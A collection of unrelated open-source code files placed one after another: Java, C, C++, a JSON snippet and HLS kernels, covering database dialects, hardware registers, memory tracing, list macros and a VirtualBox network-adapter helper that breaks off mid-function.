"org.hibernate.dialect.MySQL5Dialect"; } else if (driver.equals("oracle")) { return "org.hibernate.dialect.Oracle10gDialect"; } else if (driver.equals("postgresql")) { return "org.hibernate.dialect.PostgreSQLDialect"; } else if (driver.equals("sqlserver")) { return "org.hibernate.dialect.SQLServer2008Dialect"; } throw new RuntimeException("Could not find dialect for driver " + driver); } }
857
649
package net.serenitybdd.core; import net.serenitybdd.core.di.DependencyInjector; import net.serenitybdd.core.injectors.EnvironmentDependencyInjector; import net.thucydides.core.guice.Injectors; import net.thucydides.core.steps.PageObjectDependencyInjector; import net.thucydides.core.steps.di.DependencyInjectorService; import java.util.Arrays; import java.util.List; public class SerenityDependencyInjectors { public static List<DependencyInjector> getDependencyInjectors() { List<DependencyInjector> dependencyInjectors = getDependencyInjectorService().findDependencyInjectors(); dependencyInjectors.addAll(getDefaultDependencyInjectors()); return dependencyInjectors; } private static DependencyInjectorService getDependencyInjectorService() { return Injectors.getInjector().getInstance(DependencyInjectorService.class); } private static List<DependencyInjector> getDefaultDependencyInjectors() { return Arrays.asList(new PageObjectDependencyInjector(), new EnvironmentDependencyInjector()); } }
387
590
#ifndef __K210_IRQ_H__ #define __K210_IRQ_H__ #ifdef __cplusplus extern "C" { #endif #define K210_IRQ_NONE (0) #define K210_IRQ_SPI0 (1) #define K210_IRQ_SPI1 (2) #define K210_IRQ_SPI_SLAVE (3) #define K210_IRQ_SPI3 (4) #define K210_IRQ_I2S0 (5) #define K210_IRQ_I2S1 (6) #define K210_IRQ_I2S2 (7) #define K210_IRQ_I2C0 (8) #define K210_IRQ_I2C1 (9) #define K210_IRQ_I2C2 (10) #define K210_IRQ_UART1 (11) #define K210_IRQ_UART2 (12) #define K210_IRQ_UART3 (13) #define K210_IRQ_TIMER0A (14) #define K210_IRQ_TIMER0B (15) #define K210_IRQ_TIMER1A (16) #define K210_IRQ_TIMER1B (17) #define K210_IRQ_TIMER2A (18) #define K210_IRQ_TIMER2B (19) #define K210_IRQ_RTC (20) #define K210_IRQ_WDT0 (21) #define K210_IRQ_WDT1 (22) #define K210_IRQ_GPIO (23) #define K210_IRQ_DVP (24) #define K210_IRQ_AI (25) #define K210_IRQ_FFT (26) #define K210_IRQ_DMA0 (27) #define K210_IRQ_DMA1 (28) #define K210_IRQ_DMA2 (29) #define K210_IRQ_DMA3 (30) #define K210_IRQ_DMA4 (31) #define K210_IRQ_DMA5 (32) #define K210_IRQ_UARTHS (33) #define K210_IRQ_GPIOHS0 (34) #define K210_IRQ_GPIOHS1 (35) #define K210_IRQ_GPIOHS2 (36) #define K210_IRQ_GPIOHS3 (37) #define K210_IRQ_GPIOHS4 (38) #define K210_IRQ_GPIOHS5 (39) #define K210_IRQ_GPIOHS6 (40) #define K210_IRQ_GPIOHS7 (41) #define K210_IRQ_GPIOHS8 (42) #define K210_IRQ_GPIOHS9 (43) #define K210_IRQ_GPIOHS10 (44) #define K210_IRQ_GPIOHS11 (45) #define K210_IRQ_GPIOHS12 (46) #define K210_IRQ_GPIOHS13 (47) #define K210_IRQ_GPIOHS14 (48) #define K210_IRQ_GPIOHS15 (49) #define K210_IRQ_GPIOHS16 (50) #define K210_IRQ_GPIOHS17 (51) #define K210_IRQ_GPIOHS18 (52) #define K210_IRQ_GPIOHS19 (53) #define K210_IRQ_GPIOHS20 (54) #define K210_IRQ_GPIOHS21 (55) #define K210_IRQ_GPIOHS22 (56) #define K210_IRQ_GPIOHS23 (57) #define K210_IRQ_GPIOHS24 (58) #define K210_IRQ_GPIOHS25 (59) #define K210_IRQ_GPIOHS26 (60) #define K210_IRQ_GPIOHS27 (61) #define K210_IRQ_GPIOHS28 (62) #define K210_IRQ_GPIOHS29 (63) #define K210_IRQ_GPIOHS30 (64) #define K210_IRQ_GPIOHS31 (65) #define K210_IRQ_GPIO0 (66) #define K210_IRQ_GPIO1 (67) #define K210_IRQ_GPIO2 (68) #define K210_IRQ_GPIO3 (69) #define K210_IRQ_GPIO4 (70) #define K210_IRQ_GPIO5 (71) #define K210_IRQ_GPIO6 (72) #define K210_IRQ_GPIO7 (73) #ifdef __cplusplus } #endif #endif /* __K210_IRQ_H__ */
1,344
898
/* * Copyright (c) 2015 Spotify AB. * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package com.spotify.heroic.shell.task; import com.fasterxml.jackson.databind.ObjectMapper; import com.google.common.collect.ImmutableList; import com.spotify.heroic.QueryOptions; import com.spotify.heroic.dagger.CoreComponent; import com.spotify.heroic.metric.BackendKey; import com.spotify.heroic.metric.MetricBackendGroup; import com.spotify.heroic.metric.MetricManager; import com.spotify.heroic.metric.Tracing; import com.spotify.heroic.shell.AbstractShellTaskParams; import com.spotify.heroic.shell.ShellIO; import com.spotify.heroic.shell.ShellTask; import com.spotify.heroic.shell.TaskName; import com.spotify.heroic.shell.TaskParameters; import com.spotify.heroic.shell.TaskUsage; import com.spotify.heroic.shell.Tasks; import dagger.Component; import eu.toolchain.async.AsyncFramework; import eu.toolchain.async.AsyncFuture; import eu.toolchain.async.StreamCollector; import java.nio.file.Path; import java.util.ArrayList; import java.util.List; import java.util.Optional; import java.util.concurrent.Callable; import java.util.concurrent.atomic.AtomicLong; import javax.inject.Inject; import javax.inject.Named; import org.kohsuke.args4j.Option; @TaskUsage("Count data for a given set of keys") @TaskName("count-data") public class CountData implements ShellTask { private final MetricManager metrics; private final ObjectMapper mapper; private final AsyncFramework async; @Inject public CountData( MetricManager metrics, @Named("application/json") ObjectMapper mapper, AsyncFramework async ) { this.metrics = metrics; this.mapper = mapper; this.async = async; } @Override public TaskParameters params() { return new Parameters(); } @Override public AsyncFuture<Void> run(final ShellIO io, final TaskParameters base) throws Exception { final Parameters params = (Parameters) base; final MetricBackendGroup group = metrics.useOptionalGroup(params.group); final QueryOptions options = QueryOptions.builder().tracing(Tracing.fromBoolean(params.tracing)).build(); final ImmutableList.Builder<BackendKey> keys = ImmutableList.builder(); Tasks .parseJsonLines(mapper, params.file, io, BackendKeyArgument.class) .map(BackendKeyArgument::toBackendKey) .forEach(keys::add); for (final String k : params.keys) { keys.add(mapper.readValue(k, BackendKeyArgument.class).toBackendKey()); } final ImmutableList.Builder<Callable<AsyncFuture<Long>>> futures = ImmutableList.builder(); for (final BackendKey k : keys.build()) { futures.add(() -> group.countKey(k, options)); } final List<Callable<AsyncFuture<Long>>> f = futures.build(); final long dot = f.size() / 100; return async.eventuallyCollect(f, new StreamCollector<Long, Void>() { final AtomicLong finished = new AtomicLong(); final AtomicLong count = new AtomicLong(); @Override public void resolved(Long result) throws Exception { count.addAndGet(result); check(); } @Override public void failed(Throwable cause) throws Exception { io.out().println("Count Failed: " + cause); cause.printStackTrace(io.out()); io.out().flush(); check(); } @Override public void cancelled() throws Exception { check(); } @Override public Void end(int resolved, int failed, int cancelled) throws Exception { io.out().println(); io .out() .println( "Finished (resolved: " + resolved + ", failed: " + failed + ", cancelled:" + " " + cancelled + ")"); io.out().println("Total Count: " + count.get()); io.out().flush(); return null; } private void check() { final long fin = finished.incrementAndGet(); if (dot <= 0) { return; } if (fin % dot == 0) { io.out().print("."); io.out().flush(); } } }, params.parallelism); } private static class Parameters extends AbstractShellTaskParams { @Option(name = "-f", aliases = {"--file"}, usage = "File to read keys from", metaVar = "<file>") private Optional<Path> file = Optional.empty(); @Option(name = "-k", aliases = {"--key"}, usage = "Key to delete", metaVar = "<json>") private List<String> keys = new ArrayList<>(); @Option(name = "-g", aliases = {"--group"}, usage = "Backend group to use", metaVar = "<group>") private Optional<String> group = Optional.empty(); @Option(name = "--tracing", usage = "Enable extensive tracing") private boolean tracing = false; @Option(name = "--parallelism", usage = "Configure how many deletes to perform in parallel", metaVar = "<number>") private int parallelism = 20; } public static CountData setup(final CoreComponent core) { return DaggerCountData_C.builder().coreComponent(core).build().task(); } @Component(dependencies = CoreComponent.class) interface C { CountData task(); } }
2,568
14,668
<reponame>zealoussnow/chromium // Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "services/resource_coordinator/public/cpp/memory_instrumentation/tracing_observer_traced_value.h" #include "base/files/file_path.h" #include "base/format_macros.h" #include "base/strings/stringprintf.h" #include "base/trace_event/memory_dump_manager.h" #include "base/trace_event/traced_value.h" #include "build/build_config.h" namespace memory_instrumentation { using base::trace_event::ProcessMemoryDump; using base::trace_event::TracedValue; namespace { void OsDumpAsValueInto(TracedValue* value, const mojom::OSMemDump& os_dump) { value->SetString( "private_footprint_bytes", base::StringPrintf( "%" PRIx64, static_cast<uint64_t>(os_dump.private_footprint_kb) * 1024)); value->SetString( "peak_resident_set_size", base::StringPrintf( "%" PRIx64, static_cast<uint64_t>(os_dump.peak_resident_set_kb) * 1024)); value->SetBoolean("is_peak_rss_resettable", os_dump.is_peak_rss_resettable); } } // namespace TracingObserverTracedValue::TracingObserverTracedValue( base::trace_event::TraceLog* trace_log, base::trace_event::MemoryDumpManager* memory_dump_manager) : TracingObserver(trace_log, memory_dump_manager) {} TracingObserverTracedValue::~TracingObserverTracedValue() = default; // static void TracingObserverTracedValue::AddToTrace( const base::trace_event::MemoryDumpRequestArgs& args, const base::ProcessId pid, std::unique_ptr<TracedValue> traced_value) { CHECK_NE(base::trace_event::MemoryDumpType::SUMMARY_ONLY, args.dump_type); traced_value->SetString( "level_of_detail", base::trace_event::MemoryDumpLevelOfDetailToString(args.level_of_detail)); const uint64_t dump_guid = args.dump_guid; const char* const event_name = base::trace_event::MemoryDumpTypeToString(args.dump_type); base::trace_event::TraceArguments trace_args("dumps", std::move(traced_value)); TRACE_EVENT_API_ADD_TRACE_EVENT_WITH_PROCESS_ID( TRACE_EVENT_PHASE_MEMORY_DUMP, base::trace_event::TraceLog::GetCategoryGroupEnabled( base::trace_event::MemoryDumpManager::kTraceCategory), event_name, trace_event_internal::kGlobalScope, dump_guid, pid, &trace_args, TRACE_EVENT_FLAG_HAS_ID); } bool TracingObserverTracedValue::AddChromeDumpToTraceIfEnabled( const base::trace_event::MemoryDumpRequestArgs& args, const base::ProcessId pid, const ProcessMemoryDump* process_memory_dump, const base::TimeTicks& timastamp) { if (!ShouldAddToTrace(args)) return false; std::unique_ptr<TracedValue> traced_value = std::make_unique<TracedValue>(); process_memory_dump->SerializeAllocatorDumpsInto(traced_value.get()); AddToTrace(args, pid, std::move(traced_value)); return true; } bool TracingObserverTracedValue::AddOsDumpToTraceIfEnabled( const base::trace_event::MemoryDumpRequestArgs& args, const base::ProcessId pid, const mojom::OSMemDump& os_dump, const std::vector<mojom::VmRegionPtr>& memory_maps, const base::TimeTicks& timestamp) { if (!ShouldAddToTrace(args)) return false; std::unique_ptr<TracedValue> traced_value = std::make_unique<TracedValue>(); traced_value->BeginDictionary("process_totals"); OsDumpAsValueInto(traced_value.get(), os_dump); traced_value->EndDictionary(); if (memory_maps.size()) { traced_value->BeginDictionary("process_mmaps"); MemoryMapsAsValueInto(memory_maps, traced_value.get(), false); traced_value->EndDictionary(); } AddToTrace(args, pid, std::move(traced_value)); return true; } // static void TracingObserverTracedValue::MemoryMapsAsValueInto( const std::vector<mojom::VmRegionPtr>& memory_maps, TracedValue* value, bool is_argument_filtering_enabled) { static const char kHexFmt[] = "%" PRIx64; // Refer to the design doc goo.gl/sxfFY8 for the semantics of these fields. value->BeginArray("vm_regions"); for (const auto& region : memory_maps) { value->BeginDictionary(); value->SetString("sa", base::StringPrintf(kHexFmt, region->start_address)); value->SetString("sz", base::StringPrintf(kHexFmt, region->size_in_bytes)); if (region->module_timestamp) value->SetString("ts", base::StringPrintf(kHexFmt, region->module_timestamp)); if (!region->module_debugid.empty()) value->SetString("id", region->module_debugid); if (!region->module_debug_path.empty()) { value->SetString("df", ApplyPathFiltering(region->module_debug_path, is_argument_filtering_enabled)); } value->SetInteger("pf", region->protection_flags); // The module path will be the basename when argument filtering is // activated. The whitelisting implemented for filtering string values // doesn't allow rewriting. Therefore, a different path is produced here // when argument filtering is activated. value->SetString("mf", ApplyPathFiltering(region->mapped_file, is_argument_filtering_enabled)); // The following stats are only well defined on Linux-derived OSes. #if !defined(OS_MAC) && !defined(OS_WIN) value->BeginDictionary("bs"); // byte stats value->SetString( "pss", base::StringPrintf(kHexFmt, region->byte_stats_proportional_resident)); value->SetString( "pd", base::StringPrintf(kHexFmt, region->byte_stats_private_dirty_resident)); value->SetString( "pc", base::StringPrintf(kHexFmt, region->byte_stats_private_clean_resident)); value->SetString( "sd", base::StringPrintf(kHexFmt, region->byte_stats_shared_dirty_resident)); value->SetString( "sc", base::StringPrintf(kHexFmt, region->byte_stats_shared_clean_resident)); value->SetString("sw", base::StringPrintf(kHexFmt, region->byte_stats_swapped)); value->EndDictionary(); #endif value->EndDictionary(); } value->EndArray(); } } // namespace memory_instrumentation
2,449
1,118
{"deu":{"common":"Guadeloupe","official":"Guadeloupe"},"fin":{"common":"Guadeloupe","official":"Guadeloupen departmentti"},"fra":{"common":"Guadeloupe","official":"Guadeloupe"},"hrv":{"common":"Gvadalupa","official":"Gvadalupa"},"ita":{"common":"Guadeloupa","official":"Guadeloupe"},"jpn":{"common":"グアドループ","official":"グアドループ島"},"nld":{"common":"Guadeloupe","official":"Guadeloupe"},"por":{"common":"Guadalupe","official":"Guadalupe"},"rus":{"common":"Гваделупа","official":"Гваделупа"},"spa":{"common":"Guadalupe","official":"Guadalupe"}}
190
952
package com.rudecrab.demo.config; import com.rudecrab.demo.enums.ResultCode; import com.rudecrab.demo.exception.APIException; import com.rudecrab.demo.vo.ResultVO; import org.springframework.validation.ObjectError; import org.springframework.web.bind.MethodArgumentNotValidException; import org.springframework.web.bind.annotation.ExceptionHandler; import org.springframework.web.bind.annotation.RestControllerAdvice; /** * @author RudeCrab * @description 全局异常处理 */ @RestControllerAdvice public class ExceptionControllerAdvice { @ExceptionHandler(APIException.class) public ResultVO<String> APIExceptionHandler(APIException e) { return new ResultVO<>(ResultCode.FAILED, e.getMsg()); } @ExceptionHandler(MethodArgumentNotValidException.class) public ResultVO<String> MethodArgumentNotValidExceptionHandler(MethodArgumentNotValidException e) { // 从异常对象中拿到ObjectError对象 ObjectError objectError = e.getBindingResult().getAllErrors().get(0); // 然后提取错误提示信息进行返回 return new ResultVO<>(ResultCode.VALIDATE_FAILED, objectError.getDefaultMessage()); } }
433
700
#ifndef __MMIO_H__ #define __MMIO_H__ #include <stdint.h> static inline void reg_write8(uintptr_t addr, uint8_t data) { volatile uint8_t *ptr = (volatile uint8_t *) addr; *ptr = data; } static inline uint8_t reg_read8(uintptr_t addr) { volatile uint8_t *ptr = (volatile uint8_t *) addr; return *ptr; } static inline void reg_write16(uintptr_t addr, uint16_t data) { volatile uint16_t *ptr = (volatile uint16_t *) addr; *ptr = data; } static inline uint16_t reg_read16(uintptr_t addr) { volatile uint16_t *ptr = (volatile uint16_t *) addr; return *ptr; } static inline void reg_write32(uintptr_t addr, uint32_t data) { volatile uint32_t *ptr = (volatile uint32_t *) addr; *ptr = data; } static inline uint32_t reg_read32(uintptr_t addr) { volatile uint32_t *ptr = (volatile uint32_t *) addr; return *ptr; } static inline void reg_write64(unsigned long addr, uint64_t data) { volatile uint64_t *ptr = (volatile uint64_t *) addr; *ptr = data; } static inline uint64_t reg_read64(unsigned long addr) { volatile uint64_t *ptr = (volatile uint64_t *) addr; return *ptr; } #endif
448
1,720
<gh_stars>1000+ #pragma once #include "DirectoryDevice.h" namespace Iop { namespace Ioman { class CPathDirectoryDevice : public CDirectoryDevice { public: CPathDirectoryDevice(const fs::path& basePath) : m_basePath(basePath) { } protected: fs::path GetBasePath() override { return m_basePath; } private: fs::path m_basePath; }; } }
172
956
<gh_stars>100-1000 /* SPDX-License-Identifier: BSD-3-Clause * Copyright(c) 2016-2020 Intel Corporation */ #ifndef __DLB2_OSDEP_LIST_H #define __DLB2_OSDEP_LIST_H #include <rte_tailq.h> struct dlb2_list_entry { TAILQ_ENTRY(dlb2_list_entry) node; }; /* Dummy - just a struct definition */ TAILQ_HEAD(dlb2_list_head, dlb2_list_entry); /* ================= * TAILQ Supplements * ================= */ #ifndef TAILQ_FOREACH_ENTRY #define TAILQ_FOREACH_ENTRY(ptr, head, name, iter) \ for ((iter) = TAILQ_FIRST(&head); \ (iter) \ && (ptr = container_of(iter, typeof(*(ptr)), name)); \ (iter) = TAILQ_NEXT((iter), node)) #endif #ifndef TAILQ_FOREACH_ENTRY_SAFE #define TAILQ_FOREACH_ENTRY_SAFE(ptr, head, name, iter, tvar) \ for ((iter) = TAILQ_FIRST(&head); \ (iter) && \ (ptr = container_of(iter, typeof(*(ptr)), name)) &&\ ((tvar) = TAILQ_NEXT((iter), node), 1); \ (iter) = (tvar)) #endif /***********************/ /*** List operations ***/ /***********************/ /** * dlb2_list_init_head() - initialize the head of a list * @head: list head */ static inline void dlb2_list_init_head(struct dlb2_list_head *head) { TAILQ_INIT(head); } /** * dlb2_list_add() - add an entry to a list * @head: list head * @entry: new list entry */ static inline void dlb2_list_add(struct dlb2_list_head *head, struct dlb2_list_entry *entry) { TAILQ_INSERT_TAIL(head, entry, node); } /** * dlb2_list_del() - delete an entry from a list * @entry: list entry * @head: list head */ static inline void dlb2_list_del(struct dlb2_list_head *head, struct dlb2_list_entry *entry) { TAILQ_REMOVE(head, entry, node); } /** * dlb2_list_empty() - check if a list is empty * @head: list head * * Return: * Returns 1 if empty, 0 if not. */ static inline int dlb2_list_empty(struct dlb2_list_head *head) { return TAILQ_EMPTY(head); } /** * dlb2_list_splice() - splice a list * @src_head: list to be added * @ head: where src_head will be inserted */ static inline void dlb2_list_splice(struct dlb2_list_head *src_head, struct dlb2_list_head *head) { TAILQ_CONCAT(head, src_head, node); } /** * DLB2_LIST_HEAD() - retrieve the head of the list * @head: list head * @type: type of the list variable * @name: name of the list field within the containing struct */ #define DLB2_LIST_HEAD(head, type, name) \ (TAILQ_FIRST(&head) ? \ container_of(TAILQ_FIRST(&head), type, name) : \ NULL) /** * DLB2_LIST_FOR_EACH() - iterate over a list * @head: list head * @ptr: pointer to struct containing a struct list * @name: name of the list field within the containing struct * @iter: iterator variable */ #define DLB2_LIST_FOR_EACH(head, ptr, name, tmp_iter) \ TAILQ_FOREACH_ENTRY(ptr, head, name, tmp_iter) /** * DLB2_LIST_FOR_EACH_SAFE() - iterate over a list. This loop works even if * an element is removed from the list while processing it. * @ptr: pointer to struct containing a struct list * @ptr_tmp: pointer to struct containing a struct list (temporary) * @head: list head * @name: name of the list field within the containing struct * @iter: iterator variable * @iter_tmp: iterator variable (temporary) */ #define DLB2_LIST_FOR_EACH_SAFE(head, ptr, ptr_tmp, name, tmp_iter, saf_itr) \ TAILQ_FOREACH_ENTRY_SAFE(ptr, head, name, tmp_iter, saf_itr) #endif /* __DLB2_OSDEP_LIST_H */
1,357
315
/*************************************************************************** Copyright (c) 2019, Xilinx, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ***************************************************************************/ #ifndef _XF_THRESHOLD_HPP_ #define _XF_THRESHOLD_HPP_ #ifndef __cplusplus #error C++ is needed to include this header #endif typedef unsigned short uint16_t; typedef unsigned char uchar; #include "hls_stream.h" #include "common/xf_common.h" #include "common/xf_utility.h" namespace xf{ /*Paint mask function masks certain area of image depends on input mask */ template<int SRC_T, int MASK_T, int ROWS, int COLS,int DEPTH, int NPC, int WORDWIDTH_SRC, int WORDWIDTH_DST, int WORDWIDTH_MASK,int COLS_TRIP> void xFpaintmaskKernel(xf::Mat<SRC_T, ROWS, COLS, NPC> & _src_mat, xf::Mat<SRC_T, ROWS, COLS, NPC> & _in_mask, xf::Mat<SRC_T, ROWS, COLS, NPC> & _dst_mat, xf::Scalar<XF_CHANNELS(SRC_T,NPC), unsigned char>& color, unsigned short height, unsigned short width) { XF_SNAME(WORDWIDTH_SRC) val_src; XF_SNAME(WORDWIDTH_MASK) in_mask; XF_SNAME(WORDWIDTH_DST) val_dst; XF_PTNAME(DEPTH) p,mask; short int depth=XF_DTPIXELDEPTH(SRC_T,NPC)/XF_CHANNELS(SRC_T,NPC); XF_PTNAME(DEPTH) arr_color[XF_CHANNELS(SRC_T,NPC)]; #pragma HLS ARRAY_PARTITION variable=arr_color dim=1 complete for(int i=0;i<(XF_CHANNELS(SRC_T,NPC));i++) { arr_color[i]=color.val[i]; } ap_uint<13> i, j, k, planes; rowLoop: for(i = 0; i < height; i++) { #pragma HLS LOOP_TRIPCOUNT min=ROWS max=ROWS #pragma HLS LOOP_FLATTEN off ap_uint<8> channels=XF_CHANNELS(SRC_T,NPC); colLoop: for(j = 0; j < width; j++) { #pragma HLS LOOP_TRIPCOUNT min=COLS_TRIP max=COLS_TRIP #pragma HLS pipeline val_src = (XF_SNAME(WORDWIDTH_SRC)) (_src_mat.read(i*width+j)); //reading the source stream _src into val_src in_mask = (XF_SNAME(WORDWIDTH_MASK)) (_in_mask.read(i*width+j)); //reading the input mask stream _in_mask into in_mask for(k = 0, planes=0;k < (XF_WORDDEPTH(WORDWIDTH_SRC));k += depth,planes++) { #pragma HLS unroll p = val_src.range(k+(depth-1),k); mask = in_mask.range(k+(depth-1),k); if(mask!=0) { if(NPC!=1) val_dst.range(k+(depth-1),k) = arr_color[0]; else val_dst.range(k+(depth-1),k) = arr_color[planes]; } else { val_dst.range(k+(depth-1),k) = p; } } _dst_mat.write(i*width+j,val_dst); //writing the val_dst into output stream _dst } } } #pragma SDS data access_pattern("_src_mat.data":SEQUENTIAL, "_dst_mat.data":SEQUENTIAL) #pragma SDS data access_pattern("in_mask.data":SEQUENTIAL) #pragma SDS data copy("_src_mat.data"[0:"_src_mat.size"], "_dst_mat.data"[0:"_dst_mat.size"], "in_mask.data"[0:"in_mask.size"]) //#pragma SDS data mem_attribute("_src_mat.data":NON_CACHEABLE|PHYSICAL_CONTIGUOUS) //#pragma SDS data mem_attribute("_dst_mat.data":NON_CACHEABLE|PHYSICAL_CONTIGUOUS) //#pragma SDS data mem_attribute("in_mask.data":NON_CACHEABLE|PHYSICAL_CONTIGUOUS) /* Paint mask API call*/ template< int SRC_T,int MASK_T, int ROWS, int COLS,int NPC=1> void paintmask(xf::Mat<SRC_T, ROWS, COLS, NPC> & _src_mat, xf::Mat<MASK_T, ROWS, COLS, NPC> & in_mask, xf::Mat<SRC_T, ROWS, COLS, NPC> & _dst_mat, unsigned char _color[XF_CHANNELS(SRC_T,NPC)]) { unsigned short width = _src_mat.cols >> XF_BITSHIFT(NPC); unsigned short height = _src_mat.rows; xf::Scalar<XF_CHANNELS(SRC_T,NPC), unsigned char> color; for(int i=0; i<XF_CHANNELS(SRC_T,NPC); i++) { color.val[i]=_color[i]; } assert((SRC_T == XF_8UC1) && "Type must be XF_8UC1"); assert(((NPC == XF_NPPC1) || (NPC == XF_NPPC8) ) && "NPC must be XF_NPPC1, XF_NPPC8"); assert(((height <= ROWS ) && (width <= COLS)) && "ROWS and COLS should be greater than input image"); #pragma HLS INLINE OFF xFpaintmaskKernel<SRC_T, MASK_T, ROWS,COLS,XF_DEPTH(SRC_T,NPC),NPC,XF_WORDWIDTH(SRC_T,NPC),XF_WORDWIDTH(SRC_T,NPC),XF_WORDWIDTH(MASK_T,NPC),(COLS>>XF_BITSHIFT(NPC))> (_src_mat, in_mask, _dst_mat, color, height, width); } } #endif
2,360
521
/* $Id: NetIf-generic.cpp $ */ /** @file * VirtualBox Main - Generic NetIf implementation. */ /* * Copyright (C) 2009-2017 Oracle Corporation * * This file is part of VirtualBox Open Source Edition (OSE), as * available from http://www.virtualbox.org. This file is free software; * you can redistribute it and/or modify it under the terms of the GNU * General Public License (GPL) as published by the Free Software * Foundation, in version 2 as it comes in the "COPYING" file of the * VirtualBox OSE distribution. VirtualBox OSE is distributed in the * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. */ #include <VBox/err.h> #include <VBox/log.h> #include <iprt/process.h> #include <iprt/env.h> #include <iprt/path.h> #include <iprt/param.h> #include <sys/ioctl.h> #include <netinet/in.h> #include <net/if.h> #include <errno.h> #include <unistd.h> #if defined(RT_OS_SOLARIS) # include <sys/sockio.h> #endif #if defined(RT_OS_LINUX) || defined(RT_OS_DARWIN) # include <cstdio> #endif #include "HostNetworkInterfaceImpl.h" #include "ProgressImpl.h" #include "VirtualBoxImpl.h" #include "netif.h" #define VBOXNETADPCTL_NAME "VBoxNetAdpCtl" static int NetIfAdpCtl(const char * pcszIfName, const char *pszAddr, const char *pszOption, const char *pszMask) { const char *args[] = { NULL, pcszIfName, pszAddr, pszOption, pszMask, NULL }; char szAdpCtl[RTPATH_MAX]; int rc = RTPathExecDir(szAdpCtl, sizeof(szAdpCtl) - sizeof("/" VBOXNETADPCTL_NAME)); if (RT_FAILURE(rc)) { LogRel(("NetIfAdpCtl: failed to get program path, rc=%Rrc.\n", rc)); return rc; } strcat(szAdpCtl, "/" VBOXNETADPCTL_NAME); args[0] = szAdpCtl; if (!RTPathExists(szAdpCtl)) { LogRel(("NetIfAdpCtl: path %s does not exist. Failed to run " VBOXNETADPCTL_NAME " helper.\n", szAdpCtl)); return VERR_FILE_NOT_FOUND; } RTPROCESS pid; rc = RTProcCreate(szAdpCtl, args, RTENV_DEFAULT, 0, &pid); if (RT_SUCCESS(rc)) { RTPROCSTATUS Status; rc = RTProcWait(pid, 0, &Status); if ( RT_SUCCESS(rc) && Status.iStatus == 0 && Status.enmReason == RTPROCEXITREASON_NORMAL) return VINF_SUCCESS; } else LogRel(("NetIfAdpCtl: failed to create process for %s: %Rrc\n", szAdpCtl, rc)); return rc; } static int NetIfAdpCtl(HostNetworkInterface * pIf, const char *pszAddr, const char *pszOption, const char *pszMask) { Bstr interfaceName; pIf->COMGETTER(Name)(interfaceName.asOutParam()); Utf8Str strName(interfaceName); return NetIfAdpCtl(strName.c_str(), pszAddr, pszOption, pszMask); } int NetIfAdpCtlOut(const char * pcszName, const char * pcszCmd, char *pszBuffer, size_t cBufSize) { char szAdpCtl[RTPATH_MAX]; int rc = RTPathExecDir(szAdpCtl, sizeof(szAdpCtl) - sizeof("/" VBOXNETADPCTL_NAME " ") - strlen(pcszCmd)); if (RT_FAILURE(rc)) { LogRel(("NetIfAdpCtlOut: Failed to get program path, rc=%Rrc\n", rc)); return VERR_INVALID_PARAMETER; } strcat(szAdpCtl, "/" VBOXNETADPCTL_NAME " "); if (pcszName && strlen(pcszName) <= RTPATH_MAX - strlen(szAdpCtl) - 1 - strlen(pcszCmd)) { strcat(szAdpCtl, pcszName); strcat(szAdpCtl, " "); strcat(szAdpCtl, pcszCmd); } else { LogRel(("NetIfAdpCtlOut: Command line is too long: %s%s %s\n", szAdpCtl, pcszName, pcszCmd)); return VERR_INVALID_PARAMETER; } if (strlen(szAdpCtl) < RTPATH_MAX - sizeof(" 2>&1")) strcat(szAdpCtl, " 2>&1"); FILE *fp = popen(szAdpCtl, "r"); if (fp) { if (fgets(pszBuffer, (int)cBufSize, fp)) { if (!strncmp(VBOXNETADPCTL_NAME ":", pszBuffer, sizeof(VBOXNETADPCTL_NAME))) { LogRel(("NetIfAdpCtlOut: %s", pszBuffer)); rc = VERR_INTERNAL_ERROR; } } else { LogRel(("NetIfAdpCtlOut: No output from " VBOXNETADPCTL_NAME)); rc = VERR_INTERNAL_ERROR; } pclose(fp); } return rc; } int NetIfEnableStaticIpConfig(VirtualBox * /* vBox */, HostNetworkInterface * pIf, ULONG aOldIp, ULONG aNewIp, ULONG aMask) { const char *pszOption, *pszMask; char szAddress[16]; /* 4*3 + 3*1 + 1 */ char szNetMask[16]; /* 4*3 + 3*1 + 1 */ uint8_t *pu8Addr = (uint8_t *)&aNewIp; uint8_t *pu8Mask = (uint8_t *)&aMask; if (aNewIp == 0) { pu8Addr = (uint8_t *)&aOldIp; pszOption = "remove"; pszMask = NULL; } else { pszOption = "netmask"; pszMask = szNetMask; RTStrPrintf(szNetMask, sizeof(szNetMask), "%d.%d.%d.%d", pu8Mask[0], pu8Mask[1], pu8Mask[2], pu8Mask[3]); } RTStrPrintf(szAddress, 